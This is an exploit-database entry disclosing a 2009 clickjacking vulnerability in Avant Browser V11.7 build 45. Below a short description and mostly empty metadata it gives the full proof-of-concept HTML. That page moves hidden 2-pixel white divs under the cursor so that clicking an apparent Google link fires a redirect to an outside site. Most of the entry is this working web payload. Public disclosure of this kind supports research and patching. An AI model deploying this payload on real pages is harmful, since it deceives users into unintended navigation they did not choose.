Avant Browser Clickjacking

vendor:

Browser

by:

Pouya Daneshmand

7,5

CVSS

HIGH

Clickjacking

N/A

CWE

Product Name: Browser

Affected Version From: V11.7 build 45

Affected Version To: V11.7 build 45

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

A clickjacking vulnerability exists in Avant Browser (V11.7 build 45) which allows an attacker to trick a user into clicking on a malicious link or button by hiding it beneath a legitimate link or button.

Mitigation:

N/A

Source

Exploit-DB raw data:

<html>
<style type="text/css">
</style>
<body>
<p align="center"><code><font face="Calibri" size="6" color="#FF0000">Avant</font></code><code class="xml plain"><font face="Calibri" size="6" color="#FF0000"> Browser </font></code>
<font face="Arial" size="2"><code class="xml plain">
(V11.7 build 45)</code></font><font face="Calibri" size="6" color="#FF0000"><code class="xml plain">
<b>Clickjacking</b></code></font></p>
<p align="center"> </p>
<div class="style1" id="open"
style="position:absolute; width:2px; height:2px; background:#FFFFFF; border:1px; left: 2px; top: 2px;"
onmouseover="document.location='http://www.Securitylab.ir/ClickJacking';">
	<p align="center">
	<font size="1" color="#FFFFFF">ClickJacking</font></div>
<p align="center"><strong>
  <script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('open').style.left=mouseX-2;
document.getElementById('open').style.top=mouseY-2;
}
</script>
</strong><a href="http://www.google.com" onClick="updatebox(event)"><font
style="font-family:arial;font-size:32px">Go to the google.com</font></a></p>
<p><br>
</p>
<div class="style1" id="open0"
style="position:absolute; width:2px; height:13px; background:#FFFFFF; border:1px none; left: 354px; top: 146px;"
onmouseover="document.location='http://www.Securitylab.ir/ClickJacking';">
	<p align="center">
	<font size="1" color="#FFFFFF">ClickJacking</font></div>

<p align="center"> </p>
<p align="center"> </p>
<p align="center">Discovered by: Pouya Daneshmand (whh_iran[at]yahoo[dot]com)</p>


<p align="center">Securitylab.ir</p>



</html>